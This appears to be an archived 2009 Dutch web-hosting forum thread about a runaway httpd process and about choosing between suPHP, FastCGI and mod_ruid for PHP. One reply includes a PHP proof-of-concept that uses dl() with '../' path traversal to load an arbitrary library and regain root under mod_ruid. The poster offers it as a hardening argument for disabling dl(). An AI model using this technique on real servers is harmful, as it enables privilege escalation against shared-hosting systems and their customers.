PDA

Bekijk Volledige Versie : httpd process verbuikt 100% cpu



Boyke
16/07/09, 16:56
Zoals de titel al aangeeft, wat kan er mis zijn wanneer 1 httpd process 100% cpu verbruikt.

Loop ergens in een script zat ik zelf aan te denken, maar dan is nog de vraag welk script.

Japje
16/07/09, 16:57
strace doen op de PID van het loopend proces?

Cybafish
16/07/09, 17:21
Waarom er nog mensen zijn die PHP via apxs draaien is mij echt een raadsel. Google eens op suPHP of fcgi, daarmee maak je o.a. het tracken van draaiende scripts en heavy-load users een stuk eenvoudiger!

(om nog maar te zwijgen van een beter beveiligingsmodel en oplossing voor diverse rechten-gerelateerde problemen)

Boyke
16/07/09, 17:27
Dit gaat er ook komen alleen ik kan niet zomaar zoiets installeren zonder het van te voren te testen.

Geert-Jan
16/07/09, 17:44
Dit gaat er ook komen alleen ik kan niet zomaar zoiets installeren zonder het van te voren te testen.

dat kun je nooit, iedere bak is toch net weer iets....

Boyke
16/07/09, 17:58
Klopt, maar vooraf testen kan nooit kwaad.

Iemand nog meer suggesties om het huidige "probleem" te achterhalen?

Cybafish
16/07/09, 17:59
Dit gaat er ook komen alleen ik kan niet zomaar zoiets installeren zonder het van te voren te testen.

Gelukkig hebben wij daar nu 6 jaar ervaring mee (eerst suPHP en nu fcgi) en er zijn slechts een paar 'nadelen', die net zo makkelijk zijn op te lossen;

Voordelen:
Scripts worden onder eigen user uitgevoerd (dus bestanden die door een script worden aangemaakt zijn gewoon via FTP te verwijderen, zonder poespas)
User X kan niets met de scripts van user Y (met een beetje tweaken kunnen ze e.e.a. niet eens zien)
Monitoren van serverload laat ook zien welke PHP processen bij welke user horen, dus de intensiteit waarmee user X de server belast is direct duidelijk
PHP4 naast PHP5 draaien
Eigen php.ini per virtualhost

Nadelen:

Users kunnen geen php flags doorspelen via .htaccess (maar daar is gelukkig een eigen php.ini voor)
...dat was het eigenlijk

Vooroordelen

suPHP/fcgi zijn trager dan de apache module: bullshit (http://www.fastcgi.com/devkit/doc/fcgi-perf.htm#S7).

M.a.w., zoek eens een goede tutorial op hoe je e.e.a. installeert en je hoeft nooit meer zulke vragen te stellen als je zojuist deed ;)

Geert-Jan
16/07/09, 18:01
I.d.d., vele voordelen.

Welk OS/CP gebruik je?

Cybafish
16/07/09, 18:04
I.d.d., vele voordelen.

Welk OS/CP gebruik je?

Wie, ik?

Geert-Jan
16/07/09, 18:05
Nee joh, zo te lezen weet jij wel wat je doet, de TS dus :)

Boyke
16/07/09, 18:47
Dit stond inderdaad al enige tijd op mijn lijstje.

De term suPHP klinkt mij ook niet onbekend in de oren.

CentOs / Fedora gebruik ik.

Geert-Jan
16/07/09, 21:07
CentOs / Fedora gebruik ik.

Beide?

Wido
16/07/09, 21:29
Waarom er nog mensen zijn die PHP via apxs draaien is mij echt een raadsel. Google eens op suPHP of fcgi, daarmee maak je o.a. het tracken van draaiende scripts en heavy-load users een stuk eenvoudiger!

(om nog maar te zwijgen van een beter beveiligingsmodel en oplossing voor diverse rechten-gerelateerde problemen)mod_ruid anyone?

Via APXS draaien heeft zo zijn voordelen, bij een grote klanten groep is het ontbreken van flags via .htaccess echt een GROOT nadeel.

Denk ook even aan overstappen als je allang mod_php draait, dan betekend het dat je ineens bij AL je klanten de .htaccess files moet aanpassen, want anders krijgen zij 500 errors van je Apache terug.

Daarnaast is met de juiste logging in Apache prima te zien welke user zo veel CPU tijd vreet.

ichosting
16/07/09, 21:41
En ondertussen zit TS zijn load tot aan het dak? :D
Probleem is lijkt me niet WAT hij zou moeten draaien, maar HOE hij zijn probleem oplost. Dat is de vraag.

Ts, mogelijk dat er nog eea in de logs staat wat er aan de hand is?
Kill anders apache even en start het opnieuw op.

Cybafish
16/07/09, 22:04
mod_ruid anyone?

Via APXS draaien heeft zo zijn voordelen, bij een grote klanten groep is het ontbreken van flags via .htaccess echt een GROOT nadeel.

Denk ook even aan overstappen als je allang mod_php draait, dan betekend het dat je ineens bij AL je klanten de .htaccess files moet aanpassen, want anders krijgen zij 500 errors van je Apache terug.

Daarnaast is met de juiste logging in Apache prima te zien welke user zo veel CPU tijd vreet.

Als een klant zijn site naar jouw infra verhuist dan neem ik aan dat hij wel even zal controleren of zijn zaakje werkt. Daarnaast is het een kleine moeite om klanten automatisch een eigen php.ini toe te wijzen (is allemaal standaard template werk).

Een bestaande infra overzetten kan wat problemen opleveren, maargoed daarom kondig je zaken aan. Problemen doen zich namelijk niet alleen voor door flags in .htaccess, maar met name door alle nozems die hun bestanden en mappen 777 chmod'en. (exploits anyone? ;))

mod_ruid ziet er overigens ook nuttig uit en zou een alternatief kunnen zijn, ware het niet dat je dan nog steeds geen verschillende PHP versies naast elkaar kunt draaien.

Boyke
17/07/09, 10:46
Wat raden jullie me aan suPHP of mod_ruid?

Overigens heb ik nog geen duidelijke handleiding gevonden voor het compilen van php-cgi en het installeren van suPHP.

Japje
17/07/09, 10:59
ik gebruik zelf ruid op onze webservers en ben er zeer te spreken over. Erg makkelijk te installeren en te gebruiken.

keuze om of zelf een uid mee te geven in een vhost of een stat() te laten doen op de uid van de file die hij uitvoerd en deze te gebruiken.

maxnet
17/07/09, 11:48
Wat raden jullie me aan suPHP of mod_ruid?

Ligt eraan of snelheid of veiligheid een hogere prioriteit geeft.

mod_ruid is snel.
Maar mocht er ooit een beveiligingslek in PHP gevonden worden (of je vergeet de dl() functie uit te zetten), dan kan een aanvaller root privileges verkrijgen.

Japje
17/07/09, 11:58
Maar mocht er ooit een beveiligingslek in PHP gevonden worden (of je vergeet de dl() functie uit te zetten), dan kan een aanvaller root privileges verkrijgen.

persoonlijk vind ik dat op shared hosting dl() standaard uit zou moeten staan.. en tegenwoordig ook de url_include.. kan je een hoop ellende schelen :)

Boyke
17/07/09, 12:27
Ok duidelijk, mod_ruid is dus ook goed. Alleen het gedeelte dat als er een lek in PHP wordt gevonden dat dan root privileges verkregen kunnen worden snap ik niet.

mikeh
17/07/09, 13:14
Je krijgt ook geen root via url_include, hoogstens user apache/httpd/www waarmee je overal kunt lezen en dus ook andermans troep kunt jatten.
Worse case senario is dat de aanvallen exploit heeft voor je outdated services, dan ben je wel de snaak :) (als je /tmp schrijfbaar hebt voor * en exec toestaat)

Boyke
17/07/09, 13:50
Iemand die een goede tutorial heeft voor het installeren van php-cgi / php-cli en suphp op CentOs? Heb er hier op het forum al eentje gevonden, maar die gaat over php4 i.c.m. php5.

mikeh
17/07/09, 14:20
http://www.suphp.org/Documentation.html

http://www.google.com/search?q=php+cli+versus+php+cgi&rls=com.microsoft:nl:FF-SearchBox&ie=UTF-8&oe=UTF-8&sourceid=ie7&rlz=1I7SUNA_en

... ?

maxnet
17/07/09, 14:58
Je krijgt ook geen root via url_include, hoogstens user apache/httpd/www waarmee je overal kunt lezen en dus ook andermans troep kunt jatten.


Met url_include niet, maar dl() kan wel degelijk root op leveren.

Van user apache/httpd/www is geen sprake als je mod_ruid draait.
Bij mod_ruid draait Apache effectief als root, en verlaagt deze steeds alleen TIJDELIJK zijn privileges naar die van de eigenaar van het script is dat op dat moment uitgevoerd wordt.

Men gaat er hierbij vanuit dat je met PHP niet de benodigde systemcall uit kan voeren om weer root te worden, en dat het daardoor veilig is.
Maar met dl() en 10 regels C kan dat wel degelijk, zoals ik in mijn PoC uit 2006 heb laten zien (http://www.webhostingtalk.nl/billing-administratie-en-monitoring-systemen/74107-apache-per-user-3.html#post739692).

dl() kan gelukkig uitgezet worden.
Maar hetzelfde truukje zou uitgehaald kunnen worden om root te verkrijgen, indien er ooit bufferoverflow of ander beveiligingslek in PHP of een van de vele extensies gevonden wordt, waarmee machinecode kan worden uitgevoerd.


suphp start elk keer als een script wordt aangeroepen, een apart PHP process op onder de gebruikersnaam van de eigenaar. Het is hierbij niet mogelijk om de root rechten terug te krijgen.
En dat is dan ook veiliger (hetzij slomer),

t.bloo
17/07/09, 15:11
dl() laadt alleen libs uit een bepaalde directory. Als een klant of extern iemand daar al toegang tot heeft, dan is er toch al wat aan de hand.

maxnet
17/07/09, 15:28
dl() laadt alleen libs uit een bepaalde directory. Als een klant of extern iemand daar al toegang tot heeft, dan is er toch al wat aan de hand.

Daar was in de PoC al rekening mee gehouden. Kwestie van een paar keer ../ ervoor ;-)



<?
function _dl($library)
{
/* dl() is eigenlijk alleen bedoelt om libraries die in de extension directory staan uit te voeren.
* dl("bestand.so"); -> laad /usr/local/lib/php/extensions/versie/bestand.so
* maar door een paar keer ../ voor de bestandsnaam te zetten kunnen libraries ook elders staan.
*/

$library = substr(dirname(__FILE__)."/$library", 1);

for ($i=0; $i<20; $i++)
{
$library = "../$library";
if ( @dl($library) )
return;
}

die("Fout bij het laden van de module");
}

system("id");
echo "<p>";
_dl("moduletje.so");
system("id");
?>


Moet wel bekennen dat ik het nog niet onder 5.3 heb uitgeprobeert.
Misschien dat er tegenwoordig wel gefilterd wordt.

Boyke
18/07/09, 00:40
Ben inmiddels al een heel tijdje aan het "klooien" maar ik krijg telkens een 500 Internal Server Error.

Ik heb het idee dat php niet in CGI modus draait. Hoe check ik dit? Kan namelijk ook geen bestandje oproepen met phpinfo();

Boyke
18/07/09, 00:58
Dit zie ik in de log voorbij komen:

[Sat Jul 18 02:14:45 2009] [error] [client 192.168.134.59] SecurityException in Application.cpp:511: Unknown Interpreter: php
[Sat Jul 18 02:14:45 2009] [error] [client 192.168.134.59] Premature end of script headers: index.php

EDIT:

"" did the trick --> x-httpd-php="php:/usr/bin/php-cgi"

Het mooie is dat ik dit al een paar keer op dit forum heb gelezen, echter denk ik daar op dit tijdstip niet meer aan :)

Wil nu alleen nog weten hoe ik de laatst gecompile de php versie actief krijg

daveww
18/07/09, 02:30
Mogelijk dat 'server_status' ook enige duidelijkheid had kunnen geven op bepaalde processen.

Als je de nieuwste PHP (5.3.0? of mogelijk 5.2.10) hebt geïnstalleerd moet je ná de installatie eerst HTTPd restarten.

Boyke
18/07/09, 14:37
Ja dat had ik al geprobeerd maar hij blijft php 5.1.6 aangeven.

Cybafish
18/07/09, 14:58
Kijk even of je niet perongeluk in /usr/local hebt geinstalleerd i.p.v. /usr.

Doe eens in shell:

# /usr/local/bin/php -v
# /usr/bin/php -v

Als hier verschil tussen zit dan weet je genoeg.

Boyke
20/07/09, 13:47
Bleek inderdaad in het verkeerde pad geinstalleerd te zijn.

Echter tijdens een nieuwe compilatie krijg ik de volgende error:

/usr/bin/ld: cannot find -lltdl

Via Google heb ik geen oplossing kunnen vinden.

ichosting
20/07/09, 13:51
Als je met google zoekt, verwijder dan even de - voor lltdl dus

cannot find lltdl

Je moet libtool even installeren

Boyke
20/07/09, 14:59
Nu geeft /usr/bin/php -v wel de goede versie terug, maar usr/bin/php-cgi -v nog niet. Ik gebruik namelijk die laatste, alleen ik weet niet waar in de installatie ik dat pad op kan geven.

SebastiaanStok
20/07/09, 21:30
Een tijdje suPHP gedraaid, maar daar had ik flinke problemen met de laad tijd.
Nu gebruik ik al alweer een paar jaar mod_ruid en ben ik erg tevreden over, werkt lekker en is snel.

PHP uitvoeren via CGI modus is veiliger, flexibeler maar ook langzamer.
Hoewel verschillende PHP versies draaien wel interessant klinkt! ik kan momenteel niet overstappen naar PHP5.3 omdat Zend Optimizer en Ioncube loader niet compatibel zijn maar websites van Rollerscapes kunnen gewoon zonder.

Heb je nog bepaalde tips om alles op een beetje normale manier te laten werken?
Want voor nu is het gewoon geen optie, maar voor in de toekomst misschien wel.

Nog een handige handleiding om mod_ruid te installeren.
http://wiki.phpfreakz.nl/Apache_Veilig_Maken#mod_ruid

OT: Oeps ik zie nu dat webhosting.nl webhostingtalk.nl moet zijn :sweatdrop:

Boyke
21/07/09, 01:26
De optie --with-apxs2 zorgde ervoor dat php telkens als Apache module compilede.

Ik kwam op het forum een topic (http://www.webhostingtalk.nl/technische-vragen-van-beginners/136171-probleem-met-en-na-installatie-van-suphp.html) tegen, waarin een voorbeeld vhost config stond van Randy. Daarin stond onder andere het een en ander ingesteld via php_admin_flag en php_admin_value.

Zodra ik dat ook toepas krijg ik dus een bekende foutmelding (Invalid command 'php_admin_flag', perhaps mis-spelled or defined by a module not included in the server configuration). Dit omdat php als CGI module draait (volgens Google), maar dat is bij Randy ook het geval volgens mij. Wat doe ik fout?